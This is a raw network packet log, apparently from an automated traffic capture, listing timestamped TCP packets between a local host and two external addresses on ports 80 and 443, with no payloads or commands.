Nov 29, 2024 20:07:56.588140011 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.588360071 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.588462114 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.588639975 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.588857889 CET	443	50084	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:56.588962078 CET	443	50084	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:56.589080095 CET	50084	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:56.589241028 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.589308977 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.589325905 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.589378119 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.590135098 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.590265036 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.590296984 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.590428114 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.590794086 CET	50084	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:56.590807915 CET	443	50084	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:56.591006041 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.591120005 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.591208935 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.591856956 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.591906071 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.591929913 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.592664003 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.592693090 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.592767954 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.592942953 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.593621969 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.593736887 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.593769073 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.594186068 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.594384909 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.594459057 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.594630957 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.594723940 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.595273972 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.595436096 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.595825911 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.596112967 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.596168995 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.596196890 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.596499920 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.597027063 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.597225904 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.597307920 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.597826004 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.597893000 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.597906113 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.598025084 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.598731041 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.599009991 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.599040985 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.599469900 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.599581003 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.599745989 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.600475073 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.600503922 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.600595951 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.600806952 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.601264000 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.601376057 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.601397991 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.601536989 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.602132082 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.602283955 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.602395058 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.602997065 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.603096962 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.603115082 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.603202105 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.603858948 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.603977919 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.604224920 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.604742050 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.604823112 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.605225086 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.605570078 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.605617046 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.605684996 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.605956078 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.606458902 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.606591940 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.606957912 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.607290030 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.607419968 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.607464075 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.608174086 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.608218908 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.608875036 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.741807938 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.741883039 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.741913080 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.741995096 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.742209911 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.742338896 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.742368937 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.743088961 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.743177891 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.743180037 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.743268013 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.743980885 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.744086027 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.776611090 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.776752949 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.777084112 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.777230024 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.777314901 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.777447939 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.777919054 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.777985096 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.778153896 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.778235912 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.778785944 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.778836012 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.779122114 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.779642105 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.779723883 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.779726982 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.779783964 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.780476093 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.780601978 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.781379938 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.781409979 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.781435966 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.781733036 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.782269001 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.782419920 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.782799959 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.783099890 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.783143997 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.783245087 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.783340931 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.783931971 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.783993959 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.784023046 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.784523964 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.784784079 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.784924984 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.784991026 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.785680056 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.785716057 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.785809994 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.786621094 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.786669016 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.787147045 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.787425995 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.787477970 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.787554026 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.787615061 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.788249016 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.788307905 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.788307905 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.788351059 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.789112091 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.789283991 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.789741993 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.789936066 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.790031910 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.790036917 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.790117025 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.790808916 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.790925980 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.790986061 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.791680098 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.791734934 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.792411089 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.792567968 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.792711020 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.792824030 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.793394089 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.793488979 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.793903112 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.794322014 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.794384003 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.794404984 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.794502974 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.795258999 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.795309067 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.795350075 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.795661926 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.796137094 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.796269894 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.796300888 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.796611071 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.796866894 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.796952963 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.796983004 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.797003031 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.797710896 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.797760963 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.797770977 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.797938108 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.798579931 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.798638105 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.798672915 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.799460888 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.799510956 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.799540043 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.800060987 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.800365925 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.800425053 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.800484896 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.800632954 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.801316023 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.801359892 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.802021980 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.802124023 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.802150011 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.802733898 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.802896023 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.802944899 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.803150892 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.803201914 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.803746939 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.803906918 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.803965092 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.804593086 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.804697990 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.805455923 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.805488110 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.805517912 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.805942059 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.806332111 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.806421995 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.807185888 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.807329893 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.807353020 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.807646036 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.808056116 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.808115005 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.808171988 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.808924913 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.809058905 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.809779882 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.809811115 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.809875965 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.809895039 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.810012102 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.810674906 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.810797930 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.810889006 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.811659098 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.811713934 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.811742067 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.811805964 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.812344074 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.812455893 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.812484980 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.813226938 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.813246965 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.813354969 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.813730955 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.814151049 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.814282894 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.814362049 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.814941883 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.815076113 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.815105915 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.815656900 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.815823078 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.815973997 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.816636086 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.816663980 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.816710949 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.816780090 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.817492008 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.817605019 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.817641973 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.817800045 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.818365097 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.818434954 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.819082975 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.880848885 CET	50092	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:56.880960941 CET	443	50092	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:56.881083965 CET	50092	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:56.881746054 CET	50092	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:56.881782055 CET	443	50092	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:56.952042103 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.952138901 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.952197075 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.952259064 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.952418089 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.952512026 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.952589035 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.952661991 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.952666998 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.952711105 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.953440905 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.953485012 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.953547955 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.953716040 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.954391003 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.954729080 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.987168074 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.987253904 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.987282038 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.987509966 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.987591982 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.987618923 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.988254070 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.988352060 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.988365889 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.989028931 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.989056110 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.989141941 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.989554882 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.989880085 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.989954948 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.990082026 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.990144968 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.990747929 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.990873098 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.990926027 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.990988016 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.991688013 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.991765976 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.991784096 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.992345095 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.992506027 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.992599010 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.993006945 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.993330956 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.993410110 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.994203091 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.994204044 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.994277000 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.994450092 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.994539976 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.995074987 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.995151043 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.995259047 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.995307922 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.995945930 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.996000051 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.996027946 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.996877909 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.996906996 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.996968031 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:56.997024059 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:56.997643948 CET	80	50083	185.215.113.16	192.168.2.4
